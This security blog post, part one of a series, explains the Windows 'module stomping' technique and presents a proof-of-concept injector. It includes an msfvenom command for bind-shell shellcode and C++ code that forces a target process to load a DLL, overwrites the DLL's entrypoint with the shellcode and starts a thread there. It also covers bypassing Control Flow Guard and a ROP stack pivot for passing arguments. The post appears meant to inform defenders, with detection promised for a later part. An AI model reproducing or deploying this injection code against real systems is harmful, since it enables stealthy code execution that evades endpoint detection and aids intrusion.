Hiding malicious code with “Module Stomping”

## Introduction

Attackers deploy increasingly sophisticated methods of hiding their malicious code on a running system. One such technique is “module stomping”, which involves overwriting loaded modules with malicious code.

In this blog post, the first of a three-part series, we will explore module stomping and implement a simple PoC injector. We will then generalize this approach in the second part of the series to stealthily inject almost any C++ code into memory. Part three of the series will detail detection and countermeasures - including a new detection technique fast enough to be used in real-time background scanners.

## Code injection in 2019

Cross-process memory injection, in which an attacker hides their code in a legitimate process, has long been used as a means of evading detection.

Naïve attackers might compile their attack tools into a module and upload it to the compromised machine, hoping that no-one will notice – but pretty much every EDR agent will spot unusual module loads. Sophisticated attackers are more likely to perform a reflective load of their malicious code, leaving no trace in the loaded module list for the process while avoiding the risks of writing executable code to disk. However, any EDR worth its salt will be good at spotting the artifacts and tell-tale oddities of such an operation – such as calls to VirtualProtect and VirtualAlloc, or executable ranges which represent no module on the disk.

One more advanced attack, known as “module stomping”, does not leave these artifacts. With no malicious module loaded into memory, and no unusual reflective-load events, it is tricky to detect at scale – and is also incredibly simple to perform.

To make use of this technique, an attacker will first cause a legitimate process to load some equally legitimate module that it does not require, typically via an injected LoadLibrary call. Then, the attacker will simply copy their malicious code over the same memory regions used by the module in question.

Voila – the attacker’s code is in memory, with no VirtualAlloc calls, and no VirtualProtect calls. Only a legitimate (and usually signed) module will appear to be loaded in the host process. The malicious code can only be detected by checking the memory ranges against a known-good copy of the legitimate module – an infeasible operation for real-time scanners.

Despite its utility, we have only seen limited real-world application of this technique. However, with the rise of EDR it’s quite possible this method will be used more widely in the future, especially now that module stomping functionality is included in version 3.11of Cobalt Strike (April 9, 2018). For this reason, the technique definitely merits further investigation.

## Simple payloads

For simple payloads, consisting solely of a relocatable binary blob of shellcode, the attack is very straightforward. These attacks simply inject a sequence of instructions into memory and execute them. This shellcode must be written in such a way that it can execute from any executable region in memory, so it is usually written in assembly or machine code. Because of this, its complexity is typically limited, and commonly its only task is to open a shell (hence the name!) or to download and execute the “real” payload.

### How simple is simple?

To keep things focussed, we are going to use some off-the-shelf shellcode, rather than craft our own. We will use the Metasploit project’s “msfvenom” tool to do this. We will stick with a simple example, which just opens a network socket and attaches a shell to it. So, boot up your nearest Kali instance and run:

Msfvenom –p windows/x64/shell\_bind\_tcp > shellcode.raw

The output is a file containing only raw instructions. If we drop it into IDA Pro, we can see that the code contains inline string literals. Here, the shellcode is using the value “ws2\_32”, moving it into the r14 register:



The value is shown in reverse, since it is being treated as a little-endian integer and not a string. The hex string in blue indicates the bytes that the instruction represents – 49 BE corresponds to moving a 64-bit immediate value into r14.

“Immediate”, in this sense, denotes that the value to load directly follows the opcode itself, and it isn’t located in main memory – so it’s neither on the stack nor the heap. You can verify this by checking the remaining opcode bytes – they correspond to “ws2\_32\0\0”.

This may seem like a strange way of referencing a string – usually, the string would be in the heap, for example – but remember, our shellcode has no knowledge of the memory layout of the system it runs on. It has no idea where the heap is located in memory, and so cannot safely reference it.

Since the shellcode possesses this ability, all we need to do in order to run it is to copy the shellcode itself into an executable region and start it. There is no requirement to set up a heap, or configure any other things which the OS might otherwise provide to an executable, such as command line arguments, environment values, or an initial window.

### Implementation

To recap, our injection tool must perform the following steps:

1. Open a handle to a legitimate, already-running target process on the system
2. Get the target process to load a legitimate target module
3. Copy the shellcode we got from msfvenon over the legitimate target module’s code
4. Start a new thread to execute our shellcode.

We can use existing techniques to compel the module load. In this case, we’ll use the time-honoured technique of calling CreateRemoteThread with a start address of LoadLibraryW. Note that this requires seDebugPrivilege, which is a potential detection spot.

Before we know where to copy our shellcode, we parse the PE header of the target module. This will tell us the module’s entrypoint, which is usually the first thing in the module – allowing us to occupy maximum space.

With that, we can simply WriteProcessMemory with our shellcode. Note that msfvenom has the ability to output a C-formatted array containing shellcode, which reduces the amount of code we need to write. Specify “-f c” – in other words, C format.

Msfvenom –p windows/x64/shell\_bind\_tcp –f c > shellcode.h

Full code is available in the related Git repo as “inject\_simple”. Pseudocode follows to show the general flow:

#include "../injectionUtils/public.h"

// The shellcode generated by msfvenom, in a char array named ‘buf’

#include "shellcode.h"

int wmain(int argc, TCHAR \*argv[])

{

// Get the target PID

TCHAR\* targetProcessName = argv[1];

TCHAR\* targetModuleName = argv[2];

DWORD targetPid = getPIDForProcessByName(targetProcessName);

if (targetPid == 0) { ... }

// Enable SeDebugPrivilege, which we require in order to inject a thread

if (!EnableDebugPrivilege(TRUE)) { ... }

// Open the target process so we can manipulate it

HANDLE toScanHandle = OpenProcess(PROCESS\_QUERY\_INFORMATION | PROCESS\_VM\_READ | PROCESS\_ALL\_ACCESS, FALSE, targetPid);

if (toScanHandle == NULL) { ... }

// Convince the target to load the library we're going to stomp on top of.

// We just inject a thread to LoadLibraryA. This process is omitted for brevity.

const char\* moduleToStompFilename = "windowscodecsraw.dll";

void\* moduleToStompBase = injectLoadLibrary(toScanHandle, moduleToStompFilename);

if (moduleToStompBase == NULL) { ... }

// Get some information from the loaded module, such as its entrypoint

moduleInMemory targetModule = moduleInMemory(toScanHandle, moduleToStompBase);

// Copy our malicious code over the loaded module, starting at the entrypoint

targetModule.writeToModule(buf, targetModule.entrypoint, sizeof(buf));

// And finally, start a new thread to run the malicious code.

targetModule.injectThread(targetModule.entrypoint, NULL, 0);

}

This code snippet makes use of some functions also available in the Git repo to parse the PE and do some unexciting things such as look up PIDs.

One minor hurdle presents itself if the target module has been compiled with the CFG (‘Control Flow Guard’) mitigation, which restricts where code is permitted to branch. If this is enabled, then the injected thread must start at a valid function address, as specified in the original module. Using the module entry point is a convenient way to skirt this requirement, as it is always exposed as a valid function start. However, defeating it is simple (CFG is not designed to protect against this class of attack), so let’s go ahead and do so.

### Defeating CFG

Control Flow Guard, or CFG, is an exploit mitigation technique intended to make ROP-style exploits more difficult. It works by including a list of valid function addresses in every module and generating code to verify the target of every call or jump against this list at compile time. If an address is not in this list, then the application is halted, and a security violation is noted.

Since we’re overwriting the verification code, most of this is irrelevant. However, when Microsoft implemented CFG, it also added checks to a number of API functions – including CreateRemoteThread. Therefore, if we attempt to create our initial thread at a location in the target which did not originally contain a valid function, we will fail this check.

Fortunately, Windows supplies a handy function to modify the list of valid functions. We can just mark everything in the target module as valid:

if (srcSect.Characteristics & IMAGE\_SCN\_MEM\_EXECUTE)

{

for (unsigned int n = 0; n < srcSect.VirtualSize; n += 16)

targetModule.markCFGValid(n);

}

void markCFGValid(unsigned long long ptrToMarkValid)

{

CFG\_CALL\_TARGET\_INFO info;

info.Flags = CFG\_CALL\_TARGET\_VALID;

info.Offset = ptrToMarkValid;

if (!SetProcessValidCallTargets\_(targetProcess, targetModuleBase, sizeOfImage, 1, &info))

throw std::exception("SetProcessValidCallTargets failed");

}

### Function arguments

Somewhat frustratingly, CreateRemoteThread can only be used to call functions with one argument. While this isn’t a problem for some purposes, it would be nice to have the ability to pass up to four arguments in the usual registers (rcx, rdx, r8, and r9). We achieve this by starting our thread in a suspended state, and then modifying its registers directly via SetThreadContext, before resuming it. Due to the intricacies of Windows threading, we can’t change RSP in this manner, so we’ll go through a ROP-style stack pivot first.

We will use the following stack pivot, found in KernelBase.dll:

49 8b e3 mov rsp, r11

41 5e pop r14

c3 ret

We will simply set up the new thread’s stack to return from this to the target address, and store RSP in r11.

void moduleInMemory::injectThread(unsigned long long startRVA)

{

unsigned long long entrypointBased = targetModuleBase + entrypoint;

HANDLE s = CreateRemoteThread(targetProcess, NULL, 0, NULL, 0, CREATE\_SUSPENDED, &tid);

if (!s) { ... }

CONTEXT ctx;

ctx.ContextFlags = CONTEXT\_CONTROL | CONTEXT\_INTEGER;

if (!GetThreadContext(s, &ctx)) { ... }

ctx.Rip = findStackPivot();

ctx.Rcx = <argument 1>

ctx.Rdx = <argument 2>

ctx.R8 = <argument 3>

ctx.R11 = <thread’s new stack> - 8

if (!SetThreadContext(s, &ctx)) { ... }

if (ResumeThread(s) == -1) { ... }

}

## Conclusion

In our voyage so far, we’ve validated that this technique will work. We’ve found that an attacker can copy shellcode over a valid module, and in doing so escape the scrutiny of anyone who looks at the process’s module list.

We’ve also found a way to sidestep CFG, and to call shellcode which takes up to four arguments in the registers. This will come in handy for the next instalment of the series. Join us for part two, where we will further refine our injection to support not just shellcode, but any C++ code, while still avoiding any nasty VirtualProtect or executable memory ranges!